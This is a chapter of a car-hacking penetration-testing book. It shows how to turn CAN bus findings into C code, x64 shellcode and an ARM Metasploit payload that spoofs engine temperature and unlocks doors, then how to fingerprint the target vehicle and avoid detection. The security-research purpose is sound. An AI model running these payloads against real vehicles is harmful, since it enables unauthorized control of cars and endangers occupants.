The Car Hacker's Handbook: A Guide for the Penetration Tester - Craig Smith (2016)

Chapter 11. WEAPONIZING CAN FINDINGS

Now that you're able to explore and identify CAN packets, it's time to put that knowledge to use and learn to hack something. You've already used your identified packets to perform actions on a car, but unlocking or starting a car using packets is recon, rather than actual hacking. The goal of this chapter is to show you how to weaponize your findings. In the software world, *weaponize* means "take an exploit and make it easy to execute." When you first find a vulnerability, it may take many steps and specific knowledge to successfully pull off the exploit. Weaponizing a finding enables you to take your research and put it into a self-contained executable.

In this chapter, we'll see how to take an action—for example, unlocking a car—and put it into Metasploit, a security auditing tool designed to exploit software. Metasploit is a popular attack framework often used in penetration testing. It has a large database of functional exploits and *payloads*, the code that runs once a system has been exploited—for example, once the car has been unlocked. You'll find a wealth of information on Metasploit online and in print, including *Metasploit: The Penetration Tester's Guide* (No Starch Press, 2011).

In order to weaponize your findings you *will* need to write code. In this chapter, we'll write a Metasploit payload designed to target the architecture of the infotainment or telematics system. As our first exercise, we'll write *shellcode*, the small snippet of code that's injected into an exploit, to create a CAN signal that will control a vehicle's temperature gauge. We'll include a loop to make sure our spoofed CAN signal is continuously sent, with a builtin delay to prevent the bus from being flooded with packets that might create an inadvertent denial-of-service attack. Next, we'll write the code to control the temperature gauge. Then, we'll convert that code into shellcode so that we can fine-tune it to make the shellcode smaller or reduce NULL values if necessary. When we're finished, we'll have a payload that we can place into a specialized tool or use with an attack framework like Metasploit.

NOTE

To get the most out of this chapter, you'll need to have a good understanding of programming and programming methodologies. I assume some familiarity with C and assembly languages, both x86 and ARM, and the Metasploit framework.

Writing the Exploit in C

We'll write the exploit for this spoofed CAN signal in C because C compiles to fairly clean assembly that we can reference to make our shellcode. We'll use vcan0, a virtual CAN device, to test the exploit, but for the real exploit, you'd want to instead use can0 or the actual CAN bus device that you're targeting. Listing 11-1 shows the *temp_shell* exploit.

NOTE

You'll need to create a virtual CAN device in order to test this program. See Chapter 3 for details.

In Listing 11-1, we create a CAN packet with an arbitration ID of 0x510 and set the second byte to 0xFF. The second byte of the 0x510 packet represents the engine temperature. By setting this value to 0xFF, we max out the reported engine temperature, signaling that the vehicle is overheating. The packet needs to be sent repeatedly to be effective.

```
--- temp_shell.c
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <sys/ioctl.h>
 #include <net/if.h>
 #include <netinet/in.h>
 #include <linux/can.h>
 #include <string.h>

 int main(int argc, char *argv[]) {
     int s;
     struct sockaddr_can addr;

     struct ifreq ifr;
     struct can_frame frame;

     s = socket(❶PF_CAN, SOCK_RAW, CAN_RAW);

     strcpy(ifr.ifr_name, ❷"vcan0");
     ioctl(s, SIOCGIFINDEX, &ifr);
```

```
    addr.can_family = AF_CAN;
    addr.can_ifindex = ifr.ifr_ifindex;

    bind(s, (struct sockaddr *)&addr, sizeof(addr));

❸   frame.can_id = 0x510;
    frame.can_dlc = 8;
    frame.data[1] = 0xFF;
    while(1) {
      write(s, &frame, sizeof(struct can_frame));
❹     usleep(500000);
    }
}
```

Listing 11-1: C loop to spam CAN ID 0x510

Listing 11-1 sets up a socket in almost the same way as you'd set up a normal networking socket, except it uses the CAN family PF_CAN ❶. We use ifr_name to define which interface we want to listen on—in this case, "vcan0" ❷.

We can set up our frame using a simple frame structure that matches our packet, with can_id ❸ containing the arbitration ID, can_dlc containing the packet length, and the data[] array holding the packet contents.

We want to send this packet more than once, so we set up a while loop and set a sleep timer ❹ to send the packet at regular intervals. (Without the sleep statement, you'd flood the bus and other signals wouldn't be able to talk properly.)

To confirm that this code works, compile it as shown here:

```
$ gcc -o temp_shellcode temp_shellcode.c
$ ls -l temp_shell
-rwxrwxr-x 1 craig craig 8722 Jan 6 07:39 temp_shell
$ ./temp_shellcode
```

Now run candump in a separate window on vcan0, as shown in the next listing. The *temp_shellcode* program should send the necessary CAN packets to control the temperate gauge.

```
$ candump vcan0
  vcan0  ❶510   [8]   ❷5D  ❸FF  ❹40 00 00 00 00 00
  vcan0   510   [8]    5D   FF    40 00 00 00 00 00
  vcan0   510   [8]    5D   FF    40 00 00 00 00 00
  vcan0   510   [8]    5D   FF    40 00 00 00 00 00
```

The candump results show that the signal 0x510 ❶ is repeatedly broadcast and that the second byte is properly set to 0xFF ❸. Notice that the other values of the CAN packet are set to values that we didn't specify, such as 0x5D ❷ and 0x40 ❹. This is because we didn't initialize the *frame.data* section, and there is some memory garbage in the other bytes of the signal. To get rid of this memory garbage, set the other bytes of the 0x510 signal to the values you recorded during testing when you identified the signal—that is, set the other bytes to frame.data[].

Converting to Assembly Code

Though our *temp_shell* program is small, it's still almost 9KB because we wrote it in C, which includes a bunch of other libraries and code stubs that increase the size of the program. We want our shellcode to be as small as possible because we'll often have only a small area of memory available for our exploit to run, and the smaller our shellcode, the more places it can be injected.

In order to shrink the size of our program, we'll convert its C code to assembly and then convert the assembly shellcode. If you're already familiar with assembly language, you could just write your code in assembly to begin with, but most people find it easier to test their payloads in C first.

The only difference between writing this script and standard assembly scripts is that you'll need to avoid creating NULLs, as you may want to inject the shellcode into a buffer that might null-terminate. For example, buffers that are treated as strings will scan the values and stop when it see a NULL value. If your payload has a NULL in the middle, your code won't work. (If you know that your payload will never be used in a buffer that will be interpreted as a string, then you can skip this step.)

NOTE

Alternatively, you could wrap your payload with an encoder to hide any NULLs, but doing so will increase its size, and using encoders is beyond the scope of this chapter. You also won't have a data section to hold all of your string and constant values as you would in a standard program. We want our code to be self-sufficient and we don't want to rely on the ELF header to set up any values for us, so if we want to use strings in our payload, we have to be creative in how we place them on the stack.

In order to convert the C code to assembly, you will need to review the system header files. All method calls go right to the kernel, and you can see them all in this header file:

/usr/include/asm/unistd_64.h

For this example, we'll use 64-bit assembly, which uses the following
registers: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %rbp, %rsp, %r8, %r15, %rip, %eflags, %cs, %ss, %ds, %es, %fs, and %gs.

To call a kernel system call, use syscall—rather than int 0x80—where %rax has the system call number, which you can find in *unistd_64.h*. The parameters are passed in the registers in this order: %rdi, %rsi, %rdx, %r10, %r8, and %r9.

Note that the register order is slightly different than when passing arguments to a function.

Listing 11-2 shows the resulting assembly code that we store in the *temp_shell.s* file.

```
--- temp_shell.S
section .text
global _start


_start:
                              ; s = socket(PF_CAN, SOCK_RAW,
CAN_RAW);
  push 41                     ; Socket syscall from unistd_64.h
  pop rax
  push 29                     ; PF_CAN from socket.h
  pop rdi
  push 3                      ; SOCK_RAW from socket_type.h
  pop rsi
  push 1                      ; CAN_RAW from can.h
  pop rdx
  syscall
  mov r8, rax                 ; s / File descriptor from socket
                              ; strcpy(ifr.ifr_name, "vcan0");
  sub rsp, 40                 ;  struct ifreq is 40 bytes
  xor r9, r9                  ; temp register to hold interface name
  mov r9, 0x306e616376        ; vcan0
  push r9
  pop qword [rsp]
                          ; ioctl(s, SIOCGIFINDEX, &ifr);
  push 16                 ; ioctrl from unistd_64.h
  pop rax
  mov rdi, r8             ; s / File descriptor
  push 0x8933             ; SIOCGIFINDEX from ioctls.h
  pop rsi
  mov rdx, rsp            ; &ifr
  syscall
  xor r9, r9              ; clear r9
  mov r9, [rsp+16]        ; ifr.ifr_ifindex
                          ; addr.can_family = AF_CAN;
  sub rsp, 16             ; sizeof sockaddr_can
  mov word [rsp], 29      ; AF_CAN == PF_CAN
                          ; addr.can_ifindex = ifr.ifr_ifindex;
  mov [rsp+4], r9
                          ; bind(s, (struct sockaddr *)&addr,
sizeof(addr));
  push 49                 ; bind from unistd_64.h
  pop rax
  mov rdi, r8             ; s /File descriptor
  mov rsi, rsp            ; &addr
  mov rdx, 16             ; sizeof(addr)
  syscall
  sub rsp, 16             ; sizeof can_frame
  mov word [rsp], 0x510   ; frame.can_id = 0x510;
  mov byte [rsp+4], 8        ;  frame.can_dlc = 8;

  mov byte [rsp+9], 0xFF     ;  frame.data[1] = 0xFF;
                           ; while(1)
loop:
                           ; write(s, &frame, sizeof(struct can_frame));
  push 1                   ; write from unistd_64.h
  pop rax
  mov rdi, r8              ; s / File descriptor
  mov rsi, rsp             ; &frame
  mov rdx, 16              ; sizeof can_frame
  syscall
                           ; usleep(500000);
  push 35                  ; nanosleep from unistd_64.h
  pop rax
  sub rsp, 16
  xor rsi, rsi
  mov [rsp], rsi           ; tv_sec
  mov dword [rsp+8], 500000  ; tv_nsec
  mov rdi, rsp
  syscall
  add rsp, 16
  jmp loop
```

Listing 11-2: Sending CAN ID 0x510 packets in 64-bit assembly

The code in Listing 11-2 is exactly the same as the C code we wrote in Listing 11-1, except that it's now written in 64-bit assembly.

NOTE

I've commented the code to show the relationship between the lines of the original C code and each chunk of assembly code.

To compile and link the program to make it an executable, use nasm and ld, as shown here:

```
$ nasm -f elf64 -o temp_shell2.o temp_shell.S
$ ld -o temp_shell2 temp_shell2.o
$ ls -l temp_shell2
-rwxrwxr-x 1 craig craig ❶1008 Jan  6 11:32 temp_shell2
```

The size of the object header now shows that the program is around 1008 bytes ❶, or just over 1KB, which is significantly smaller than the compiled C program. Once we strip the ELF header caused by the linking step (ld), our code will be even smaller still.

Converting Assembly to Shellcode

Now that your program is of more suitable size, you can use one line of Bash to convert your object file to shellcode right at the command line, as shown in Listing 11-3.

```
$ for i in $(objdump -d temp_shell2.o -M intel |grep "^ "
|cut -f2); do echo
-n '\x'$i; done;echo
\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0f\x05\
x49\x89\xc0\x48\x83\
xec\x28\x4d\x31\xc9\x49\xb9\x76\x63\x61\x6e\x30\x00\x00
\x00\x41\x51\x8f\x04\
x24\x6a\x10\x58\x4c\x89\xc7\x68\x33\x89\x00\x00\x5e\x4
8\x89\xe2\x0f\x05\x4d\
x31\xc9\x4c\x8b\x4c\x24\x10\x48\x83\xec\x10\x66\xc7\x04\
x24\x1d\x00\x4c\x89\
x4c\x24\x04\x6a\x31\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10
\x00\x00\x00\x0f\x05\
x48\x83\xec\x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04
\x08\xc6\x44\x24\x09\
xff\x6a\x01\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10\x00\x00\
x00\x0f\x05\x6a\x23\
x58\x48\x83\xec\x10\x48\x31\xf6\x48\x89\x34\x24\xc7\x44
\x24\x08\x20\xa1\x07\
x00\x48\x89\xe7\x0f\x05\x48\x83\xc4\x10\xeb\xcf
```

Listing 11-3: Converting object file to shellcode

This series of commands runs through your compiled object file and pulls out the hex bytes that make up the program, printing them to the screen. The bytes output is your shellcode. If you count up the printed bytes, you can see that this shellcode is 168 bytes—that’s more like it.

Removing NULLs

But we’re not done yet. If you look at the shellcode in Listing 11-3, you’ll notice that we still have some NULL values (\x00) that we need to eliminate. One way to do so is to use a loader, which Metasploit has, to wrap the bytes or rewrite parts of the code to eliminate the NULLs.

You could also rewrite your assembly to remove NULLs from the final assembly, typically by replacing MOVs and values that would have NULLs in them with a command to erase a register and another command to add the appropriate value. For instance, a command like MOV RDI, 0x03 will convert to hex that has a lot of leading NULLs before the 3. To get around this, you could first XOR RDI to itself (XOR RDI, RDI), which would result in RDI being a NULL, and then increase RDI (INC RDI) three times. You may have to be creative in some spots.

Once you’ve made the modifications to remove these NULL values, you can convert the shellcode to code that can be embedded in a string buffer. I won’t show the altered assembly code because it’s not very legible, but the new shellcode looks like this:

```
\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0f\x05\
x49\x89\xc0\x48\x83\
xec\x28\x4d\x31\xc9\x41\xb9\x30\x00\x00\x00\x49\xc1\xe1\
x20\x49\x81\xc1\x76\
x63\x61\x6e\x41\x51\x8f\x04\x24\x6a\x10\x58\x4c\x89\xc7\
x41\xb9\x11\x11\x33\
x89\x49\xc1\xe9\x10\x41\x51\x5e\x48\x89\xe2\x0f\x05\x4d\
x31\xc9\x4c\x8b\x4c\
x24\x10\x48\x83\xec\x10\xc6\x04\x24\x1d\x4c\x89\x4c\x24\
x04\x6a\x31\x58\x4c\
x89\xc7\x48\x89\xe6\xba\x11\x11\x11\x10\x48\xc1\xea\x18\x0
f\x05\x48\x83\xec\
x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04\x08\xc6\x44
\x24\x09\xff\x6a\x01\
x58\x4c\x89\xc7\x48\x89\xe6\x0f\x05\x6a\x23\x58\x48\x83
\xec\x10\x48\x31\xf6\
x48\x89\x34\x24\xc7\x44\x24\x08\x00\x65\xcd\x1d\x48\x8
9\xe7\x0f\x05\x48\x83\
xc4\x10\xeb\xd4
```

Creating a Metasploit Payload

Listing 11-4 is a template for a Metasploit payload that uses our shellcode. Save this payload in *modules/payloads/singles/linux/armle/*, and name it something similar to the action that you'll be performing, like *flood_temp.rb*. The example payload in Listing 11-4 is designed for an infotainment system on ARM Linux with an

Ethernet bus. Instead of modifying temperature, this shellcode unlocks the car doors. The following code is a standard payload structure, other than the payload variable that we set to the desired vehicle shellcode.

```
  Require 'msf/core'

  module Metasploit3
    include Msf::Payload::Single
    include Msf::Payload::Linux

    def initialize(info = {})
      super(merge_info(info,
        'Name'          => 'Unlock Car',
        'Description'   => 'Unlocks the Driver Car Door over
Ethernet',
        'Author'        => 'Craig Smith',
        'License'       => MSF_LICENSE,
        'Platform'      => 'linux',
        'Arch'          => ARCH_ARMLE))
    end
    def generate_stage(opts={})

❶      payload =
"\x02\x00\xa0\xe3\x02\x10\xa0\xe3\x11\x20\xa0\xe3\x07\x0
0\x2d\
  xe9\x01\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0
```

```
c\xd0\x8d\xe2\x00\x60\
  xa0\xe1\x21\x13\xa0\xe3\x4e\x18\x81\xe2\x02\x10\x81\xe2\
xff\x24\xa0\xe3\x45\
  x28\x82\xe2\x2a\x2b\x82\xe2\xc0\x20\x82\xe2\x06\x00\x
2d\xe9\x0d\x10\xa0\xe1\
  x10\x20\xa0\xe3\x07\x00\x2d\xe9\x03\x00\xa0\xe3\x0d\x1
0\xa0\xe1\x66\x00\x90\
  xef\x14\xd0\x8d\xe2\x12\x13\xa0\xe3\x02\x18\x81\xe2\x02\
x28\xa0\xe3\x00\x30\
  xa0\xe3\x0e\x00\x2d\xe9\x0d\x10\xa0\xe1\x0c\x20\xa0\xe
3\x06\x00\xa0\xe1\x07\
  x00\x2d\xe9\x09\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x9
0\xef\x0c\xd0\x8d\xe2\
  x00\x00\xa0\xe3\x1e\xff\x2f\xe1"
    end
  end
```

Listing 11-4: Template for Metasploit payload using our shellcode

The payload variable ❶ in Listing 11-4 translates to the following ARM assembly code:

```
    /* Grab a socket handler for UDP */
    mov    %r0, $2 /* AF_INET */
    mov    %r1, $2 /* SOCK_DRAM */
    mov    %r2, $17       /* UDP */
    push   {%r0, %r1, %r2}
```

```
mov    %r0, $1 /* socket */
mov    %r1, %sp
svc    0x00900066
add    %sp, %sp, $12

/* Save socket handler to %r6 */
mov    %r6, %r0

/* Connect to socket */
mov    %r1, $0x84000000
add    %r1, $0x4e0000
add    %r1, $2       /* 20100 & AF_INET */
mov    %r2, $0xff000000
add    %r2, $0x450000
add    %r2, $0xa800
add    %r2, $0xc0 /* 192.168.69.255 */
push   {%r1, %r2}
mov    %r1, %sp
mov    %r2, $16      /* sizeof socketaddr_in */
push   {%r0, %r1, %r2}
mov    %r0, $3 /* connect */
mov    %r1, %sp
svc    0x00900066
add    %sp, %sp, $20

/* CAN Packet */
/* 0000 0248 0000 0200 0000 0000 */
```

```
    mov    %r1, $0x48000000  /* Signal */
    add    %r1, $0x020000
    mov    %r2, $0x00020000  /* 1st 4 bytes */
    mov    %r3, $0x00000000  /* 2nd 4 bytes */
    push   {%r1, %r2, %r3}
    mov    %r1, %sp
    mov    %r2, $12        /* size of pkt */

    /* Send CAN Packet over UDP */
    mov    %r0, %r6
    push   {%r0, %r1, %r2}
    mov    %r0, $9 /* send */
    mov    %r1, %sp
    svc    0x00900066
    add    %sp, %sp, $12

    /* Return from main - Only for testing, remove for exploit
*/
    mov    %r0, $0
    bx     lr
```

This code is similar to the shellcode we created in Listing 11-3, except that it's built for ARM rather than x64 Intel, and it functions over Ethernet instead of talking directly to the CAN drivers. Of course, if the infotainment center uses a CAN driver rather than an Ethernet driver, you need to write to the CAN driver instead of the network.

Once you have a payload ready, you can add it to the arsenal of existing Metasploit exploits for use against a vehicle's infotainment center. Because Metasploit parses the payload file, you can simply choose it as an option to use against any target infotainment unit. If a vulnerability is found, the payload will run and perform the action of the packet you mimicked, such as unlocking the doors, starting the car, and so on.

NOTE

You could write your weaponizing program in assembly and use it as your exploit rather than going through Metasploit, but I recommend using Metasploit. It has a large collection of vehicle-based payloads and exploits available, so it's worth the extra time it takes to convert your code.

Determining Your Target Make

So far you've located a vulnerability in an infotainment unit and you have the CAN bus packet payload ready to go. If your intention was to perform a security engagement on just one type of vehicle, you're good to go. But if you intend to use your payload on all vehicles with a particular infotainment or telematics system installed, you have a bit more to do; these systems are installed by various manufacturers and CAN bus networks vary between manufacturers and even between models.

In order to use this exploit against more than one type of vehicle, you'll need to detect the make of the vehicle that your shellcode is executing on before transmitting packets.

WARNING

Failure to detect the make of the vehicle could produce unexpected results and could be very dangerous! For example, a packet that on one make of vehicle unlocks the car door could bleed the brakes on another. There's no way to know for sure where your exploit will run, so be sure to verify the vehicle.

Determining the make of vehicle is analogous to determining which OS version the target host is running, as we did in "Determining the Update File Type" on page 160. You may be able to find this information in the memory space of the infotainment unit by adding the ability to scan RAM in your shellcode. Otherwise, there are two ways to determine what type of vehicle your code is running on via the CAN bus: interactive probing and passive CAN bus fingerprinting.

Interactive Probing

The interactive probing method involves using the ISO-TP packets to query the PID that holds the VIN. If we can access the VIN and decipher the code, it'll tell us the make and model of the target vehicle.

Querying the VIN

Recall from "Sending Data with ISO-TP and CAN" on page 55 that you use the OBD-II Mode 2 PID 9 protocol to query the VIN. This protocol uses the ISO-TP multipacket standard, which can be cumbersome to implement in shellcode. You can, however, just take what you need from the ISO-TP standard rather than implementing it in full. For example, because ISO-TP runs as normal CAN traffic, you could send a packet with your shellcode using an ID of 0x7DF and a 3-byte packet payload of 0x02 0x09 0x02; then you could receive normal CAN traffic with an ID 0x7E8. The first packet received will be part of a multipart packet followed by the remaining packets. The first packet has the most significant information in it and may be all you need to differentiate between vehicles.

NOTE

You could assemble the multipart packet yourself and then implement a full VIN decoder, but doing so can be inefficient. Regardless of whether you reassemble the full VIN or just use a segment of the VIN, it's better to decode the VIN yourself.

Decoding the VIN

The VIN has a fairly simple layout. The first three characters, known as the *World Manufacturer Identifier (WMI) code*, represent the make of the vehicle. The first character in the WMI code determines the region of manufacture. The next two characters are manufacturer specific. (The list is too long to print here, but you can find a list of WMI codes with a simple online search.) For example, in Chapter 4 (see Table 4-4 on page 57) we had a VIN of 1G1ZT53826F109149, which gave us a WMI of 1G1. According to the WMI codes, this tells us that the make of the car is Chevrolet.

The next 6 bytes of the VIN make up the *Vehicle Descriptor Section (VDS)*. The first 2 bytes in the VDS—bytes 4 and 5 of the VIN—tell us the vehicle model and other specs, such as how many doors the vehicle has, the engine size, and so on. For example, in the VIN 1G1ZT53826F109149, the VDS is ZT5382, of which *ZT* gives us the model. A quick search online tells us that this is a Chevrolet Malibu. (The details of the VDS vary depending on the vehicle and the manufacturer.)

If you need the year your vehicle was made, you'll have to grab more packets because the year is stored at byte 10. This byte isn't directly translatable, and you'll need to use a table to determine the year (see Table 11-1).

Table 11-1: Determining the Year of Manufacture

Character	Year	Character	Year	Character	Year	Cha

A	1980	L	1990	Y	2000	A
B	1981	M	1991	1	2001	B
C	1982	N	1992	2	2002	C
D	1983	P	1993	3	2003	D
E	1984	R	1994	4	2004	E
F	1985	W	1995	5	2005	F
G	1986	T	1996	6	2006	G
H	1987	V	1997	7	2007	H
J	1988	W	1998	8	2008	J
K	1989	X	1999	9	2009	K

For exploit purposes, knowing the year isn't as important as knowing whether your code will work on your target vehicle, but if your exploit depends on an exact make, model, and year, you'll need to perform this step. For instance, if you know that the infotainment system you're targeting is installed in both Honda Civics and Pontiac Azteks, you can check the VIN to see whether your target vehicle fits. Hondas are manufactured in Japan and Pontiacs are made in North America, so the first byte of the WMI needs to be either a *J* or a *1*, respectively.

NOTE

Your payload would still work on other vehicles made in North America or Japan if that radio unit is installed in some other vehicle that you're unaware of.

Once you know what platform you're running on, you can either execute the proper payload if you've found the right vehicle or exit out gracefully.

Detection Risk of Interactive Probing

The advantage of using interactive probing to determine the make of your target vehicle is that this method will work for any make or model of car. Every car has a VIN that can be decoded to give you the information you need, and you need no prior knowledge of the platform's CAN packets in order to make a VIN query. However, this method does require you to *transmit* the query on the CAN bus, which means it's detectable and you may be discovered before you can trigger your payload. (Also, our examples used cheap hacks to avoid properly handling ISO-TP, which could lead to errors.)

Passive CAN Bus Fingerprinting

If you're concerned about being detected before you can use your payload, you should avoid any sort of active probing. Passive CAN bus fingerprinting is less detectable, so if you discover that the model vehicle you're targeting isn't supported by your exploit, you can exit gracefully without having created any network traffic, thus limiting your chances of being detected. Passive CAN bus fingerprinting involves monitoring network traffic to gather information unique to certain makes of vehicles and then matching that information to a known fingerprint. This area of research is relatively new, and as of this writing, the only tools available for gathering and detecting bus fingerprints are the ones released by Open Garages.

The concept of passive CAN bus fingerprinting is taken from IPv4 passive operating system fingerprinting, like that used by the p0f tool. When passive IPv4 fingerprinting, details in the packet header, such as the window size and TTL values, can be used to identify the operating system that created the packet. By monitoring network traffic and knowing which operating systems set which values in the packet header by default, it's possible to determine which operating system the packet originated from without transmitting on the network.

We can use a similar methodology with CAN packets. The unique identifiers for CAN are as follows:

- Dynamic size (otherwise set to 8 bytes)
- Intervals between signals
- Padding values (0x00, 0xFF 0xAA, and so on)
- Signals used

Because different makes and models use different signals, unique signal IDs can reveal the type of vehicle that's being examined. And even when the signal IDs are the same, the timing intervals can be unique. Each CAN packet has a DLC field to define the length of the data, though some manufacturers will set this to 8 by default and pad out the data to always ensure that 8 bytes are used. Manufacturers will use different values to pad their data, so this can also be an indicator of the make.

CAN of Fingers

The Open Garages tool for passive fingerprinting is called *CAN of Fingers (c0f)* and is available for free at *https://github.com/zombieCraig/c0f/*. c0f samples a bunch of CAN bus packets and creates a fingerprint that can later be identified and stored. A fingerprint from c0f—a JSON consumable object—might look like this:

```
{"Make": "Unknown", "Model": "Unknown", "Year":
"Unknown", "Trim": "Unknown",
"Dynamic": "true", "Common": [ { "ID": "166" },{ "ID": "158"
},{ "ID": "161" },
{ "ID": "191" },{ "ID": "18E" },{ "ID": "133" },{ "ID": "136" },{
"ID": "13A" },
{ "ID": "13F" },{ "ID": "164" },{ "ID": "17C" },{ "ID": "183" },{
"ID": "143" },
{ "ID": "095" } ], "MainID": "143", "MainInterval":
"0.009998683195847732"}
```

Five fields make up the fingerprint: Make, Model, Year, Trim, and Dynamic. The first four values—Make, Model, Year, and Trim—are all listed as Unknown if they're not in the database. Table 11-2 lists the identified attributes that are unique to the vehicle.

Table 11-2: Vehicle Attributes for Passive Fingerprinting

Attribute	**Value type**	**Description**
Dynamic	Binary value	If the DLC has a dynamic length, this is set to true.
Padding	Hex value	If padding is used, this attribute will be set to the byte used for padding. This example does not have padding, so the attribute is not included.
Common	Array of IDs	The common signal IDs based on the frequency seen on the bus.
Main ID	Hex ID	The most common signal ID based on the frequency of occurrence and interval.
Main Interval	Floating point value	The shortest interval time of the most common ID (MainID) that repeats on the bus.

Using c0f

Many CAN signals that fire at intervals will appear in a logfile the same amount of times as each other, with similar intervals between occurrences. c0f will group the signals together by the number of occurrences.

To get a better idea of how c0f determines the common and main IDs, run c0f with the --print-stats option, as shown in Listing 11-5.

```
  $ bundle exec bin/c0f --logfile test/sample-can.log --print-stats
    Loading
Packets... 6158/6158 |*************************************
******
  *******| 0:00
  Packet Count (Sample Size): 6158
  Dynamic bus: true
  [Packet Stats]
   166 [4] interval 0.010000110772939828 count 326
   158 [8] interval 0.009999947181114783 count 326
   161 [8] interval 0.009999917103694035 count 326
   191 [7] interval 0.009999932509202223 count 326
   18E [3] interval 0.010003759677593524 count 326
   133 [5] interval 0.0099989076761099 count 326
   136 [8] interval 0.009998913544874925 count 326
   13A [8] interval 0.009998914278470553 count 326
   13F [8] interval 0.009998904741727389 count 326
   164 [8] interval 0.009998898872962365 count 326
   17C [8] interval 0.009998895204984225 count 326
   183 [8] interval 0.010000821627103366 count 326
❶ 039 [2] interval 0.015191149488787786 count 215
❷ 143 [4] interval 0.009998683195847732 count 326
```

```
095 [8] interval 0.010001396766075721 count 326
1CF [6] interval 0.019999760168570006 count 163
1DC [4] interval 0.019999777829205548 count 163
320 [3] interval 0.10000315308570862 count 33
324 [8] interval 0.10000380873680115 count 33
37C [8] interval 0.09999540448188782 count 33
1A4 [8] interval 0.019999677752271111 count 163
1AA [8] interval 0.019999142759334967 count 162
1B0 [7] interval 0.019999167933967544 count 162
1D0 [8] interval 0.019999117584702390 count 162
294 [8] interval 0.039998024702072144 count 81
21E [7] interval 0.039998024702072144 count 81
309 [8] interval 0.09999731183052063 count 33
333 [7] interval 0.10000338862019201 count 32
305 [2] interval 0.1043075958887736 count 31
40C [8] interval 0.2999687910079956 count 11
454 [3] interval 0.2999933958053589 count 11
428 [7] interval 0.30000069141387940 count 11
405 [8] interval 0.30000050067901610 count 11
5A1 [8] interval 1.000191092491150 count 3
```

Listing 11-5: Running c0f with the --print-stats option

The common IDs are the grouping of signals that occurred 326 times (the highest count). The main ID is the common ID with the shortest average interval—in this case, signal 0x143 at 0.009998 ms ❷.

The c0f tool saves these fingerprints in a database so that you can passively identify buses, but for the purpose of shellcode development, we can just use main ID and main interval to quickly determine whether we're on the target we expect to be on. Taking the result shown in Listing 11-5 as our target, we'd listen to the CAN socket for signal 0x143 and know that the longest we'd have to wait is 0.009998 ms before aborting if we didn't see an ID of 0x143. (Just be sure that when you're checking how much time has passed since you started sniffing the bus, you use a time method with high precision, such as clock_gettime.) You could get more fine-grained identification by ensuring that you also identified all of the common IDs as well.

It's possible to design fingerprints that aren't supported by c0f. For instance, notice in the c0f statistical output in Listing 11-5 that the signal ID 0x039 occurred 215 times ❶. That's a strange ratio compared to the other common packets. The common packets are occurring about 5 percent of the time, but 0x039 occurs about 3.5 percent of the time and is the only signal with that ratio. Your shellcode could gather a common ID and calculate the ratio of 0x039 occurring to see whether it matches. This could just be a fluke based on current vehicle conditions at the time of the recording, but it might be interesting to investigate. The sample size should be increased and multiple runs should be used to verify findings before embedding the detection into your shellcode.

NOTE

c0f isn't the only way to quickly detect what type of vehicle you're on; the output could be used for additional creative ways to identify your target system without transmitting packets. The future may bring systems that can hide from c0f, or we may discover a newer, more efficient way to passively identify a target vehicle.

Responsible Exploitation

You now know how to identify whether your exploit is running on the target it's designed for and even how to check without transmitting a single packet. You don't want to flood a bus with a bogus signal, as this will shut the network down, and flooding the wrong signal on the wrong vehicle can have unknown affects.

When sharing exploit code, consider adding a bogus identification routine or complete VIN check to prevent someone from simply launching your exploit haphazardly. Doing so will at least force the script kiddies to understand enough of the code to modify it to fit the proper vehicles. When attacking interval-based CAN signals, the proper way to do this is to listen for the CAN ID you want to modify and, when you receive it through your read request, to modify *only* the byte(s) you want to alter and immediately send it back out. This will prevent flooding, immediately override the valid signal, and retain any other attributes in the signal that aren't the target of the attack.

Security developers need access to exploits to test the strength of their protections. New ideas from both the attack and defense teams need to be shared, but do so responsibly.

Summary

In this chapter, you learned how to build working payloads from your research. You took proof-of-concept C code, converted it to payloads in assembly, and then converted your assembly to shellcodes that you could use with Metasploit to make your payloads more modular. You also learned safe ways to ensure that your payloads wouldn't accidentally be run on unexpected vehicles with the help of VIN decoding and passive CAN bus identification techniques. You even learned some ways to prevent script kiddies from taking your code and injecting it into random vehicles.